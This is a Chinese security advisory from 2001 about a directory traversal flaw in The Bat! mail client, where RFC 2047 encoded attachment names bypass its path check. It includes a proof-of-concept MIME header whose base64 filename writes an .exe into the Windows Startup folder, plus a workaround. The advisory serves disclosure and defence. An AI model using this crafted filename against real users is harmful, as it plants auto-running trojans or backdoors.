绿盟安全月刊->第17期->最新漏洞 The Bat! 保存附件目录遍历漏洞

日期：2001-01-10

受影响的系统:  
The Bat! Version <= 1.48f
- Microsoft Windows 95/98
- Microsoft Windows NT
- Microsoft Windows 2000
描述:
--------------------------------------------------------------------------------


The Bat!是一个流行的Windows下的邮件客户端程序，它有一个功能是将附件保存
到用户指定的目录下。

如果附件名是明文，The Bat!不允许附件文件名中包含'\'。然而，如果文件名按
照RFC 2047进行编码，The Bat!就不进行检查了。因此攻击者可以将包含"..\"的
路径名进行编码，当用户保存附件时就可能保存任意文件到同一磁盘的任意目录下
。例如将木马或者后门程序放到启动目录下。

<*来源：3APA3A (3APA3A@security.nnov.ru) *>


测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！



缺省The Bat!将附件保存在C:\Program  Files\The Bat!\MAIL\%USERNAME%\Attach
目录下。如果设置邮件中附件部分如下：

Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="=?iso8859-1?B?Li5cLi5cLi5cLi5cLi5cV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcMTIzLmV4ZQ==?="

将会把附件保存到如下目录：
C:\Windows\Start Menu\Programs\Startup\123.exe
( ..\..\..\..\..\Windows\Start Menu\Programs\Startup\123.exe )


--------------------------------------------------------------------------------
建议:

临时解决方法：
禁止"File attachment stored separate from message"选项。

厂商补丁：

厂商已经被通知，但目前还没有发布补丁。
厂商网址：http://www.thebat.net